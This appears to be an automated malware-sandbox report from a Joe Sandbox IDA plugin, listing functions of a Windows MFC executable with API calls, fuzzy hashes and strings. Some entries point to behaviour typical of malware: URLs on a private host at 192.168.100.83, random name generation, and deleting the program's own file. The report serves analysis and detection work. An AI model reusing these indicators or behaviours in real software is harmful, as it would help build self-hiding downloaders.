Opcode ID: 6b4598c18b149baf41dc2c699b37129104aff7cc0169a10aed1875957db3102f
Instruction ID: e12ff5c2053f9a72bd65041b051e88c030b435080f647bcd3e17c5c7067139df
Opcode Fuzzy Hash: 6b4598c18b149baf41dc2c699b37129104aff7cc0169a10aed1875957db3102f
Instruction Fuzzy Hash: EE31C8B5204341ABD305FB25D856F9FB7E4ABD8704F000A2EF595672C1DB7865088BA7

Function 004039D0 Relevance: 21.1, APIs: 14, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 004039FC
6CE256F0.MFC42 ref: 00403A08
6CE4BFA0.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A1E
6CE1EC00.MFC42(?,?,00000020,00000001,00000000,?,?,?,?,?,?,?,?,?,?,00404BC8), ref: 00403A33

Part of subcall function 004038F0: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404B98,000000FF,00403816,?), ref: 0040391E

6CE3B590.MFC42(?,00000000,00000000), ref: 00403A4C
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A5D
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A6B
6CE1EC00.MFC42(?,00000000,00000020,00000001,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403A87

Part of subcall function 004038F0: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404B98,000000FF,00403816,?), ref: 00403963

6CE1EC00.MFC42(?,?,00000020,00000001,?), ref: 00403AA7

Part of subcall function 004038F0: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404B98,000000FF,00403816,?), ref: 00403986

6CE3B590.MFC42(?,00000001), ref: 00403ABF
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403AD0
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403ADE
6CE3E820.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403AE7
6CE1A420.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,00404BC8,000000FF), ref: 00403AF8

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$B590E190$E256E820MessageSend
String ID:
API String ID: 1959819693-0
Opcode ID: c4a9426b3d146f6b18e720923754d03eefbba986a6632d145798aab3bb1fd514
Instruction ID: f6de4c7b58c9e08d410c388df69f80ca665281aef36746c90f471116ae625215
Opcode Fuzzy Hash: c4a9426b3d146f6b18e720923754d03eefbba986a6632d145798aab3bb1fd514
Instruction Fuzzy Hash: A831A8B5204341AFC304EB25C856F9FB7E4ABD4714F004A2EF595662D1DB78A5088BA7

Function 00401830 Relevance: 19.6, APIs: 13, Instructions: 53COMMON

Download Yara Rule

APIs

6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040185B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040186B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040187B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040188B
6CE1A420.MFC42(?,?,?,0040470F,000000FF), ref: 0040189B
6CE12C80.MFC42(?,?,?,0040470F,000000FF), ref: 004018AB
6CE4BC50.MFC42(?,?,?,0040470F,000000FF), ref: 004018BB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018CB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018DB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018EB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 004018FB
6CE4BC00.MFC42(?,?,?,0040470F,000000FF), ref: 00401908
6CE503E0.MFC42(?,?,?,0040470F,000000FF), ref: 00401917

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$E503
String ID:
API String ID: 3478961390-0
Opcode ID: 7b5ce37691534f6e46bec6ed38d29974445b5b0c433dc7e2899eb447151f42f4
Instruction ID: f9e30e69a48690507b3e4af920e781beb467eb0ec983ed3cc8e406cc6407e96c
Opcode Fuzzy Hash: 7b5ce37691534f6e46bec6ed38d29974445b5b0c433dc7e2899eb447151f42f4
Instruction Fuzzy Hash: 0F214C740087C18BD315EB74C05979BBBE4BFA9314F440E1EE5EA162C2DBB86248C6A7

Function 00401F00 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00401F23

Part of subcall function 00403F80: 6CE59A60.MFC42(?,000000CB,00000002,00000009,00000000,00000000,?,00401F36), ref: 00403F92

_mbscmp.MSVCRT ref: 00401F73
6CE1A420.MFC42 ref: 00401F81
CoUninitialize.OLE32(http://192.168.100.83/,00000000,00000000,00000000,00000000), ref: 00402063

Strings

http://192.168.100.83/F.htm, xrefs: 00402007
http://192.168.100.83/, xrefs: 00401F6D, 00402057
http://192.168.100.83/9.htm, xrefs: 00402032

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420InitializeUninitialize_mbscmp
String ID: http://192.168.100.83/$http://192.168.100.83/9.htm$http://192.168.100.83/F.htm
API String ID: 837757824-1795800369
Opcode ID: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction ID: a67ed12fd00eb966c7ef07626c931287be5c1ca5e9acac2baddc7c0ca8bee009
Opcode Fuzzy Hash: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction Fuzzy Hash: F061BE70604302AFD710EF64C989B1BBBA8AF88714F04496DF985EB3D1DB78D905CB96

Function 00401C60 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

6CE50E90.MFC42(?,?,?,?,004047E8,000000FF), ref: 00401C7A
GetSystemMenu.USER32(?,00000000,?,?,?,?,004047E8,000000FF), ref: 00401C85
6CE59290.MFC42(00000000,?,?,?,?,004047E8,000000FF), ref: 00401C8C
6CE256F0.MFC42(00000000,?,?,?,?,004047E8,000000FF), ref: 00401C9B
6CE195D0.MFC42(00000065,00000000,?,?,?,?,004047E8,000000FF), ref: 00401CAE
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401CD2
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401CE1
6CE1A420.MFC42(00000065,00000000,?,?,?,?,004047E8,000000FF), ref: 00401CF0
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401D0D
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401D21

Strings

http://www.1.com, xrefs: 00401D31

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: Menu$AppendMessageSend$A420E195E256E59290System
String ID: http://www.1.com
API String ID: 1030794748-1471656216
Opcode ID: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction ID: 014e3ba470a9a3624742ceba51641722d59a2d0febe7554dbc01a11c7d6f2640
Opcode Fuzzy Hash: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction Fuzzy Hash: 142192B53447017BE220EB65CC86F5BB3A8FB88B50F10462DB6556B2D1CBB9F800CB59

Function 00403500 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

6CE50310.MFC42(00000082,?,?,?,?,00000000,?,00404B39,000000FF,004025B6,00000000), ref: 00403529
6CE17F20.MFC42(00000082,?), ref: 0040353B
6CE17F20.MFC42(00000082,?), ref: 00403553
6CE17F20.MFC42(00000082,?), ref: 0040356B
6CE17F20.MFC42(00000082,?), ref: 00403583
6CE256F0.MFC42(00000082,?), ref: 0040359B
6CE256F0.MFC42(00000082,?), ref: 004035AD
6CE25A80.MFC42(004073FC,00000082,?), ref: 004035C4
6CE25A80.MFC42(004073FC,004073FC,00000082,?), ref: 004035D0

Strings

DB@, xrefs: 004035BE
nB@, xrefs: 00403540

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: E256$E50310
String ID: DB@$nB@
API String ID: 3166612723-4005678958
Opcode ID: d9b166e6bfa9c663b61ce0e3a603041949639b1d5f481a09527389042575c698
Instruction ID: 07a67f05f5cb526cde5bb56a1f38001e8bee0c3f8aa25bc8e26a66cad1eb58db
Opcode Fuzzy Hash: d9b166e6bfa9c663b61ce0e3a603041949639b1d5f481a09527389042575c698
Instruction Fuzzy Hash: 092118B1348B818BD301EF25844176FBBE1EBD5784F14486EF681273C2CBBD65098B9A

Function 004043EC Relevance: 16.6, APIs: 11, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00404419
__p__fmode.MSVCRT ref: 0040442E
__p__commode.MSVCRT ref: 0040443C
__setusermatherr.MSVCRT ref: 00404468
_initterm.MSVCRT ref: 0040447E
__getmainargs.MSVCRT ref: 004044A1
_initterm.MSVCRT ref: 004044B1
GetStartupInfoA.KERNEL32(?), ref: 004044F0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00404514
exit.MSVCRT ref: 00404524
_XcptFilter.MSVCRT ref: 00404536

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 41c4c4fb87addf5f86e7c459d09dd59d2deec0db5ee8492f51d93a0d0e41125f
Instruction ID: b84817577bdd794c3584b55ee7e6e144752272faa3ca625d9eeea178d453bb24
Opcode Fuzzy Hash: 41c4c4fb87addf5f86e7c459d09dd59d2deec0db5ee8492f51d93a0d0e41125f
Instruction Fuzzy Hash: BB416AB1C04748AFDB20DFA4DD45A6A7BB8EB49714B20027EE651B72E1D7385840CF69

Function 00402590 Relevance: 12.0, APIs: 8, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00403500: 6CE50310.MFC42(00000082,?,?,?,?,00000000,?,00404B39,000000FF,004025B6,00000000), ref: 00403529
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 0040353B
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 00403553
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 0040356B
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 00403583
Part of subcall function 00403500: 6CE256F0.MFC42(00000082,?), ref: 0040359B
Part of subcall function 00403500: 6CE256F0.MFC42(00000082,?), ref: 004035AD
Part of subcall function 00403500: 6CE25A80.MFC42(004073FC,00000082,?), ref: 004035C4
Part of subcall function 00403500: 6CE25A80.MFC42(004073FC,004073FC,00000082,?), ref: 004035D0

6CE509F0.MFC42 ref: 004025C5
6CE1A420.MFC42 ref: 004025DC
6CE1A420.MFC42 ref: 004025F0
6CE4BC00.MFC42 ref: 00402604
6CE4BC00.MFC42 ref: 00402618
6CE4BC00.MFC42 ref: 0040262C
6CE4BC50.MFC42 ref: 0040263D
6CE503E0.MFC42 ref: 00402651

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420E256$E503E50310E509
String ID:
API String ID: 560835582-0
Opcode ID: e526fec369c35d35e31d161f3d6166b5031a0c0aa420842dfd615be23e30ada1
Instruction ID: 42c3b9d168d0418a94f95c23e9adf838e90ef7772fbddf989849af9f639a5948
Opcode Fuzzy Hash: e526fec369c35d35e31d161f3d6166b5031a0c0aa420842dfd615be23e30ada1
Instruction Fuzzy Hash: A611067400C3C0DAD336EB60C459BDBBBB4BBE9314F800A2DA59D162C19F781149CA57

Function 00402670 Relevance: 10.5, APIs: 7, Instructions: 35COMMON

Download Yara Rule

APIs

6CE1A420.MFC42(?,?,?,0040498B,000000FF), ref: 0040269B
6CE1A420.MFC42(?,?,?,0040498B,000000FF), ref: 004026AB
6CE4BC00.MFC42(?,?,?,0040498B,000000FF), ref: 004026BB
6CE4BC00.MFC42(?,?,?,0040498B,000000FF), ref: 004026CB
6CE4BC00.MFC42(?,?,?,0040498B,000000FF), ref: 004026DB
6CE4BC50.MFC42(?,?,?,0040498B,000000FF), ref: 004026E8
6CE503E0.MFC42(?,?,?,0040498B,000000FF), ref: 004026F7

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$E503
String ID:
API String ID: 3478961390-0
Opcode ID: 73797ba87a622be385d98e4536f12e1290190033833ce099e9855b6aedb849fc
Instruction ID: d16fc65b1ff759d4bf2d112fd190ecce01b2d07838592e1474cafa958000d974
Opcode Fuzzy Hash: 73797ba87a622be385d98e4536f12e1290190033833ce099e9855b6aedb849fc
Instruction Fuzzy Hash: 320140B00087C19BD315EB25C40979BBBE4BBE9714F440E1EF5E6162C1CBB85648C696

Function 00401BE0 Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

6CE514C0.MFC42(?,000003F5,?), ref: 00401BF3
6CE514C0.MFC42(?,000003EE,?,?,000003F5,?), ref: 00401C05
6CE514C0.MFC42(?,000003E8,?,?,000003EE,?,?,000003F5,?), ref: 00401C17
6CE51960.MFC42(?,000003EF,?,?,000003E8,?,?,000003EE,?,?,000003F5,?), ref: 00401C29
6CE51140.MFC42(?,?,0000000A,?,000003EF,?,?,000003E8,?,?,000003EE,?,?,000003F5,?), ref: 00401C32
6CE51960.MFC42(?,000003F0,?,?,?,0000000A,?,000003EF,?,?,000003E8,?,?,000003EE,?,?), ref: 00401C44

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: E514$E51960$E51140
String ID:
API String ID: 1307879675-0
Opcode ID: cfde83c47ff25b013f24b5fb9812b7ebe0be881af1d191fad1845931f096e49f
Instruction ID: 93ee3fe985d7ce76ed5cd37f38fdc4d041633a02a5185305ce90021903040c5d
Opcode Fuzzy Hash: cfde83c47ff25b013f24b5fb9812b7ebe0be881af1d191fad1845931f096e49f
Instruction Fuzzy Hash: 6CF0BEB27902143BE202A651DCC2EBF626CEBD6B9AF01037EF700360C19AAC2A014275

Function 00403610 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

6CE514C0.MFC42(?,000003EE,?), ref: 00403622
6CE514C0.MFC42(?,000003FB,?,?,000003EE,?), ref: 00403634
6CE514C0.MFC42(?,000003F4,?,?,000003FB,?,?,000003EE,?), ref: 00403646
6CE514C0.MFC42(?,000003F3,?,?,000003F4,?,?,000003FB,?,?,000003EE,?), ref: 00403658
6CE51960.MFC42(?,000003EF,?,?,000003F3,?,?,000003F4,?,?,000003FB,?,?,000003EE,?), ref: 0040366A
6CE51960.MFC42(?,000003F0,?,?,000003EF,?,?,000003F3,?,?,000003F4,?,?,000003FB,?,?), ref: 0040367C

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: E514$E51960
String ID:
API String ID: 3150026127-0
Opcode ID: b5ef06bcced9b5675932e51068800d4f328651a0de4a6e600310cf605433ae4f
Instruction ID: 7d7aa8acedc914c8f7f252d341010923b6cabf8a586bbe7ebd9ee2e302cdfebb
Opcode Fuzzy Hash: b5ef06bcced9b5675932e51068800d4f328651a0de4a6e600310cf605433ae4f
Instruction Fuzzy Hash: 08F0BEB26902153BE202A621DC82FFF636CEBC5B44F05473EB785760C19FBC2A018325

Function 00402F00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53memorystringCOMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00402F09
lstrlen.KERNEL32(00402DDC,?,00402DDC,00407194), ref: 00402F2C
MultiByteToWideChar.KERNEL32(00000000,00000000,00402DDC,000000FF,?,00000001,?,00402DDC,00407194), ref: 00402F55
SysAllocString.OLEAUT32(00000000), ref: 00402F5F

Strings

NULL, xrefs: 00402F05

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: AllocByteCharClearMultiStringVariantWidelstrlen
String ID: NULL
API String ID: 3257503732-324932091
Opcode ID: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction ID: d48dc8f015bb9ad4e3fe3b606f75ade0cd382acbba87cbd38ab65ded183ca584
Opcode Fuzzy Hash: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction Fuzzy Hash: 9801D272600616ABC7105F52CD84B5BBBB8EF413A4F108136FE04B7390E3B898018BE9

Function 004010C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004010D9
srand.MSVCRT ref: 004010E0
rand.MSVCRT ref: 004010EF
rand.MSVCRT ref: 00401110

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 004010CB

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction ID: b437bbb5ddae58e17e7d4b32f079fbf535bad8d5f4727950ce3f72a2bcf890de
Opcode Fuzzy Hash: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction Fuzzy Hash: 34F04436B052004BC204AA2D9D40A6FF797EBC8351F85043EFE89E3352C976980846BA

Function 00401020 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

6CE139C0.MFC42(00000000), ref: 00401025
__p___argv.MSVCRT ref: 00401030
DeleteFileA.KERNEL32(?), ref: 0040103C

Strings

BA@, xrefs: 0040102A

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: DeleteE139File__p___argv
String ID: BA@
API String ID: 3481026945-333561704
Opcode ID: 262c5416b1a606b217bd8bab8b619a55629c1a105c500f2fded16c866b6fed0a
Instruction ID: aad79171df0669d425ced9ff3ed335880c2d281df381521b8290eacabdbfd62a
Opcode Fuzzy Hash: 262c5416b1a606b217bd8bab8b619a55629c1a105c500f2fded16c866b6fed0a
Instruction Fuzzy Hash: D7D0C9792106118FC7147F58E91DA4A7BA4EF89302B4540AAF601AB3A1CAB498408F94

Function 00403060 Relevance: 6.2, APIs: 4, Instructions: 176COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004030F1
VariantClear.OLEAUT32(?), ref: 0040318F
VariantClear.OLEAUT32(?), ref: 0040319B
SysFreeString.OLEAUT32(?), ref: 0040323E

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: ClearFreeStringVariant
String ID:
API String ID: 1438600931-0
